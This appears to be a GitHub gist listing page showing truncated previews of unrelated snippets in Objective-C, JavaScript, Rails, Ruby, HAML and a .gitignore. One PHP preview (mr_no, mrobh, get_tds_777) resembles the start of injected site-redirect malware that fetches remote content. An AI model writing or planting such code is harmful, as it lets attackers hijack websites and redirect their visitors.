This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// An example viewDidLoad | |
- (void)viewDidLoad | |
{ | |
[super viewDidLoad]; | |
[self loadWebView]; | |
} | |
// The example loader | |
// | |
// Assumes you have an IBOutlet for the UIWebView defined: @property (strong, nonatomic) UIWebView *wv; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
setTimeout( function(){ window.scrollTo(0, 0.1) }, 100 ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
config.action_mailer.raise_delivery_errors = true | |
config.action_mailer.default_url_options = { :host => 'YOURDOMAIN.com'} | |
config.action_mailer.smtp_settings = { | |
:address => 'email-smtp.us-east-1.amazonaws.com', # See the SES SMTP Settings dashboard | |
:port => '25', | |
:domain => 'YOURDOMAIN.com', # Your domain | |
:user_name => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ123456', # New SMTP credentials, NOT AWS CREDENTIALS! | |
:password => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ123456', # New SMTP credentials, NOT AWS CREDENTIALS! | |
:authentication => :login | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def a | |
# Should error because it's not assigned in the current scope. | |
puts foobar | |
end | |
def b | |
# This code path isn't run but it's still in the same scope. | |
if false | |
foobar = 123 | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) { | |
$_SERVER['mr_no'] = 1; | |
if (!function_exists('mrobh')) { | |
function get_tds_777($url) { | |
$content = ""; | |
$content = @trycurl_777($url); | |
if ($content !== false) return $content; | |
$content = @tryfile_777($url); | |
if ($content !== false) return $content; | |
$content = @tryfopen_777($url); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def create | |
@my_model = MyModel.new(params[:my_model]) | |
respond_to do |format| | |
if @my_model.save | |
format.html { redirect_to(my_models_path, :notice => 'Success') } | |
format.js { render :json => { :success => true, :message => "Success"}, :content_type => 'text/json' } | |
format.xml { render :xml => @my_model, :status => :created, :location => @my_model } | |
else | |
format.html { render :action => "new" } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def create | |
@my_model = MyModel.new(params[:my_model]) | |
respond_to do |format| | |
if @my_model.save | |
format.html { redirect_to(my_models_path, :notice => 'Success') } | |
format.js { render :json => { :success => true, :message => "Success"} } | |
format.xml { render :xml => @my_model, :status => :created, :location => @my_model } | |
else | |
format.html { render :action => "new" } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$('form .submit-button').click(function () { $(this).parents('form:first').submit(); }); | |
$('form').bind('ajax:success', function () { alert('it works'); }); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
= form_for @my_model, :remote => true do |f| | |
= f.label :name | |
= f.text_field :name | |
= f.label :address, 'Address' | |
= f.text_area :address | |
%input.submit-button{:type => 'button', :value => 'Add Entry'} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
*.gem | |
.bundle | |
.gitignore.swp | |
.sass* | |
config/database.yml | |
config/s3.yml | |
db/*sqlite* | |
db/schema.rb | |
doc/* | |
log/* |